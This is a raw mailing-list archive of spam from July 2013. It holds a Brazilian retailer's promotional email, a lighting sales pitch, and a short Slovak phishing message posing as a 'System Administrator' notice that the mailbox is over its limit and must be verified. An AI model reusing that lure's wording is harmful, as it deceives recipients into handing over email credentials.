#f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Totalmente Antiaderente * Em A=E7o Escovado * Bivolt 324,72 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84429,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3Dfondue%20eletrico&ordem=3Dmais-visualizados&utm_source=3D05_0= 7_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_= do_dia_05_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84429,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3Dfondue%20eletrico&ordem=3Dmais-visualizados&utm_source=3D05_0= 7_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_= do_dia_05_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84429,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1mb25kdWUlMjBlbGV0cmljbyZvcmRlbT1tYWlzLXZpc3VhbGl6YWRvcyZ1dG1fc291cm= NlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0md= XRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb= 20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84430,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9Kb2dvcy9= Tb255L2dhbWUtdGhlLXdhbGtpbmctZGVhZC10ZWxsdGFsZS1nYW1lLXNlcmllcy1zb255LXBsYX= lzdGF0aW9uLTMuaHRtP3V0bV9zb3VyY2U9MDVfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVka= XVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wNV8wN18x= MyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84431,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9Kb2dvcy9= Tb255L2dhbWUtYXNzYXNzaW4tY3JlZWQtc2lnbmF0dXJlLWVkaXRpb24tdmVycy1lbS1wb3J0dW= d1LXNvbnktcGxheXN0YXRpb24tMy5odG0/dXRtX3NvdXJjZT0wNV8wN18xM19vZmVydGFfZG9fZ= GlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9f= ZGlhXzA1XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] The Walking - PS3 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84430,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9Kb2dvcy9= Tb255L2dhbWUtdGhlLXdhbGtpbmctZGVhZC10ZWxsdGFsZS1nYW1lLXNlcmllcy1zb255LXBsYX= lzdGF0aW9uLTMuaHRtP3V0bV9zb3VyY2U9MDVfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVka= XVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wNV8wN18x= MyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Assassins 3 - PS3 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84431,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9Kb2dvcy9= Tb255L2dhbWUtYXNzYXNzaW4tY3JlZWQtc2lnbmF0dXJlLWVkaXRpb24tdmVycy1lbS1wb3J0dW= d1LXNvbnktcGxheXN0YXRpb24tMy5odG0/dXRtX3NvdXJjZT0wNV8wN18xM19vZmVydGFfZG9fZ= GlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9f= ZGlhXzA1XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] Jogo The Walking Dead: A Telltale Game Series [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84430,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Jogos/Sony/game-the-walking-dead-telltale-game-series-sony-playstation-3.ht= m?utm_source=3D05_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm= _campaign=3Doferta_do_dia_05_07_13 height:40px; border-right:1px solid #f4ac1c; border-left:1px solid #f4ac1c; padding: 0px 0px 0px 15px; vertical-align:top;"> * 1 jogador * Garantia de 3 meses * A=E7=E3o 91,91 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84430,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Jogos/Sony/game-the-walking-dead-telltale-game-series-sony-playstation-3.ht= m?utm_source=3D05_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm= _campaign=3Doferta_do_dia_05_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84432,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= TV-LED/Samsung/tv-led-40-un40f5200agxzd-samsung-hdmi-usb-preta-guia-de-prog= ama-o.htm?utm_source=3D05_07_13_oferta_do_dia&utm_medium=3DEmail&utm_conten= t=3D&utm_campaign=3Doferta_do_dia_05_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">8x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84430,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Jogos/Sony/game-the-walking-dead-telltale-game-series-sony-playstation-3.ht= m?utm_source=3D05_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm= _campaign=3Doferta_do_dia_05_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Vers=E3o em Portugu=EAs * 1 Jogador (8 Online) * A=E7=E3o 107,91 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84431,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Jogos/Sony/game-assassin-creed-signature-edition-vers-em-portugu-sony-plays= tation-3.htm?utm_source=3D05_07_13_oferta_do_dia&utm_medium=3DEmail&utm_con= tent=3D&utm_campaign=3Doferta_do_dia_05_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84431,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Jogos/Sony/game-assassin-creed-signature-edition-vers-em-portugu-sony-plays= tation-3.htm?utm_source=3D05_07_13_oferta_do_dia&utm_medium=3DEmail&utm_con= tent=3D&utm_campaign=3Doferta_do_dia_05_07_13font-weight: bold; margin:0; border: 0;">10x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84431,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9Kb2dvcy9= Tb255L2dhbWUtYXNzYXNzaW4tY3JlZWQtc2lnbmF0dXJlLWVkaXRpb24tdmVycy1lbS1wb3J0dW= d1LXNvbnktcGxheXN0YXRpb24tMy5odG0/dXRtX3NvdXJjZT0wNV8wN18xM19vZmVydGFfZG9fZ= GlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9f= ZGlhXzA1XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84410,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84419,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL21vdGl2b3M= tcGFyYS1jb21wcmFyLzEwMC1zZWd1cm8vP3V0bV9zb3VyY2U9MDVfMDdfMTNfb2ZlcnRhX2RvX2= RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX= 2RpYV8wNV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84433,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9jZW50cmF= sLWRlLWF0ZW5kaW1lbnRvLz91dG1fc291cmNlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX2= 1lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfM= DdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84434,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9kaXZlcnNhcy1mb3JtYXMtZGUtcGFnYW1lbnRvLz91dG1fc291cmNlPT= A1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX= 2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20= =3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84435,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9nYXJhbnRpYS1kZS1zYXRpc2ZhY2FvLz91dG1fc291cmNlPTA1XzA3Xz= EzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBha= WduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84436,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9lc3BhY28= tZG8tY2xpZW50ZS9hdmFsaWFjb2VzL2luZGV4LnBocD91dG1fc291cmNlPTA1XzA3XzEzX29mZX= J0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZ= XJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84437,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9pbnN0aXR= 1Y2lvbmFsL2Zvcm5lY2Vkb3Jlcy8/dXRtX3NvdXJjZT0wNV8wN18xM19vZmVydGFfZG9fZGlhJn= V0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhX= zA1XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84420,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2NoYXQvP3V= 0bV9zb3VyY2U9MDVfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb2= 50ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wNV8wN18xMyZ1dG1fdGVybT0=3D,1,= b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84410,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84438,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0dpcmFmYUN= vbT91dG1fc291cmNlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG= 1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84439,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly90d2l0dGVyLmNvbS9vZ2lyYWZhP3V0bV9= zb3VyY2U9MDVfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wNV8wN18xMyZ1dG1fdGVybT0=3D,1,b3Nz= LnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84440,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly9wbHVzLmdvb2dsZS5jb20vK2dpcmFmYS9= wb3N0cz91dG1fc291cmNlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84421,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy55b3V0dWJlLmNvbS9vZ2lyYWZhP3V= 0bV9zb3VyY2U9MDVfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb2= 50ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wNV8wN18xMyZ1dG1fdGVybT0=3D,1,= b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84410,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] Pre=E7os e condi=E7=F5es de pagamento v=E1lidos at=E9 07/07/2013 ou enquanto durarem nossos estoques. Imagens meramente ilustrativas.*Consulte sua regi=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84422,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyP3V0bV9zb3V= yY2U9MDVfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PS= Z1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wNV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNn= aS5jb20=3D] --6ba3e4e5ca69b3ac75eaa671c03bae77 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =0D =0D =0D =0D
    Se você nã= o conseguir visualizar esta mensagem, acesse este link
    3D"" =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D = =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D
    3D"02" = 3D"03" 3D"05" 3D"06" 3D"07" = 3D"09" = 3D"10"
    =0D
    3D"11"
    =0D =0D =0D =0D =0D =0D =0D
    3D"Smartphone=
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"" =3D""<= /td>=0D
    BDV-N9100WLNEX-F3S
    Home Theater SonyCâmera Digital Sony
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" 2.639,12
    =C0 vista no boleto
    ou em at=E9 = 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • 16.1MP
      =0D • LCD 3.0"
      =0D • Full HD
      =0D • Panorâmica 3D =
    =0D
    =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" = 1.319,12
    =C0 vista no boleto
    = ou em at=E9 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D""<= /a>3D""
    Forerunner610NB049 / NB050
    Rel=F3gio de Corrida GarminTablet Smart Phone M5
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Touch Screen
      =0D • Virtual Partner
      =0D • GPS
    = =0D
    =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" = 1.274,15
    =C0 vista no boleto
    ou em at=E9 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Android 4.1
      =0D • Dual Chip
      =0D • LCD 5"
      =0D • 4GB
    = =0D
    =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" 703,12
    =C0 vista no boleto
    ou em at=E9 12x no cart= =E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"" 3D""
    RDP-M7IP/BC408127
    Docking Station SonyFondue El=E9trico Cuisinart=
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D= = 307,12
    =C0 vista no boleto=0D
    ou em at= =E9 12x= no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Totalmente Antiaderente
      =0D • Em A=E7o Escovado
      =0D • Bivolt =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" 324,72
    =C0 vista no boleto=0D
    ou em at= =E9 12x no car= t=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"" =3D""<= /td>=0D
    The Walking - PS3Assassins 3 - PS3
    Jogo The Walking Dead: A Telltale Game SeriesJogo Assassins Creed 3
    =0D Signature Edition
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • 1 jogador
      =0D • Garantia de 3 meses
      =0D • A=E7=E3o =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" 91,91
    =C0 vista no boleto=0D
    ou em at=E9 8= x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    = =0D
      = • Vers=E3o em Portugu=EAs
      =0D • 1 Jogador (8 Online)
      =0D • A=E7=E3o =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" = 107,91
    =C0 vista no boleto<= /td>=0D
    ou em at=E9 10x no c= art=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"02" 3D"03=<= /a> 3D"04" 3D"05" 3D"06" 3D"07"
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"09" = 3D"10" 3D"11" = 3D"12"
    =0D
    3D"14"
    =
    = Pre=E7os e condi=E7=F5es de pagamento v=E1lidos at=E9 = 07/07/2013 ou enquanto durarem nossos estoques. Imagens meramente ilustrati= vas.
    =
    *Consulte sua regi=E3o
    =0D =09=09=09=09=09=09=09=09=09

    Para garantir que nossos comunicados cheguem em sua = caixa de entrada,
    adicione o e-mail ofertadesexta@girafa.com.br= ao seu catálogo de endereços.

    A Girafa res= peita a sua privacidade e é contra o spam na rede.
    Se=20 você não deseja mais receber nossos e-mails, cancele sua inscrição aqui.
    =0D = --6ba3e4e5ca69b3ac75eaa671c03bae77-- From stagelighting29@stagelighting11.xicp.net Fri Jul 5 07:46:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 587787CBF for ; Fri, 5 Jul 2013 07:46:32 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id DBE3AAC003 for ; Fri, 5 Jul 2013 05:46:28 -0700 (PDT) X-ASG-Debug-ID: 1373028343-04cb6c2a47904f90001-NocioJ Received: from stagelighting11.xicp.net ([163.142.232.203]) by cuda.sgi.com with SMTP id vWAIzuYiK8nppYZX for ; Fri, 05 Jul 2013 05:45:49 -0700 (PDT) X-Barracuda-Envelope-From: stagelighting29@stagelighting11.xicp.net X-Barracuda-Apparent-Source-IP: 163.142.232.203 Received: from PC-201201201814[127.0.0.1] by PC-201201201814[127.0.0.1] (SMTPD32); Fri, 5 Jul 2013 20:12:22 +0800 From: "moving head lighting product" Subject: RE: promovingheadlight products To: "xfs" X-ASG-Orig-Subj: RE: promovingheadlight products MIME-Version: 1.0 Sender: stagelighting29@stagelighting11.xicp.net Reply-To: sales@6star-lighting.com Date: Fri, 5 Jul 2013 20:12:22 +0800 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Barracuda-Connect: UNKNOWN[163.142.232.203] X-Barracuda-Start-Time: 1373028343 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.24 X-Barracuda-Spam-Status: No, SCORE=0.24 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135877 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Message-Id: <20130705124627.E0147129618E@cuda.sgi.com>

    hi, sir

    yeah, we got your email

    led 250w high power floodlighting , it is very hot sell now, price is 400usd /pc, if you need more products price list, you can reply us soonest

    we will send you again

    Lily

    From suat@sastur.com.tr Fri Jul 5 14:10:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.1 required=5.0 tests=HTML_MESSAGE, HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY,MIME_QP_LONG_LINE,TO_MALFORMED autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3039D7CBF for ; Fri, 5 Jul 2013 14:10:57 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B4014AC004 for ; Fri, 5 Jul 2013 12:10:53 -0700 (PDT) X-ASG-Debug-ID: 1373051449-04cbb04690bcb4b0001-w1Z2WR Received: from cluster03.natrohost.com (cluster03.natrohost.com [89.19.17.244]) by cuda.sgi.com with ESMTP id BWxr2RQow5wugVcR for ; Fri, 05 Jul 2013 12:10:50 -0700 (PDT) X-Barracuda-Envelope-From: suat@sastur.com.tr X-Barracuda-Apparent-Source-IP: 89.19.17.244 Received: from ([41.71.176.154]) by natrohost.com with MailEnable WebMail; Fri, 5 Jul 2013 22:12:54 +0300 To: undisclosed-recipients From: "Zuzana Karpisova" Subject: =?windows-1254?Q?webmail_aktualiz=E1cie?= Date: Fri, 5 Jul 2013 12:12:54 -0700 X-ASG-Orig-Subj: =?windows-1254?Q?webmail_aktualiz=E1cie?= Message-ID: MIME-Version: 1.0 X-Mailer: MailEnable WebMail.NET X-MimeOLE: Produced By MailEnable WebMail.NET V4.22.0.0 X-Read: 0 Content-Type: multipart/mixed; boundary="--=_Part_0E50D1EFE564406EB33C0D943ED70881" X-Priority: 3 X-MSMail-Priority: Medium X-ME-Spam: No (-1040),Sender authenticated X-Barracuda-Connect: cluster03.natrohost.com[89.19.17.244] X-Barracuda-Start-Time: 1373051449 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.88 X-Barracuda-Spam-Status: No, SCORE=1.88 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2, TO_MALFORMED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135903 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 TO_MALFORMED To: has a malformed address 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars This is a multi-part message in MIME format. ----=_Part_0E50D1EFE564406EB33C0D943ED70881 Content-Type: text/html; charset="windows-1254" Content-Transfer-Encoding: quoted-printable Va=9Aa po=9Atov=E1 schr=E1nka prekrocila limit, kliknite pros=EDm tu na overenie va=9Aej e-mailovej Vdaka

    System Administrator
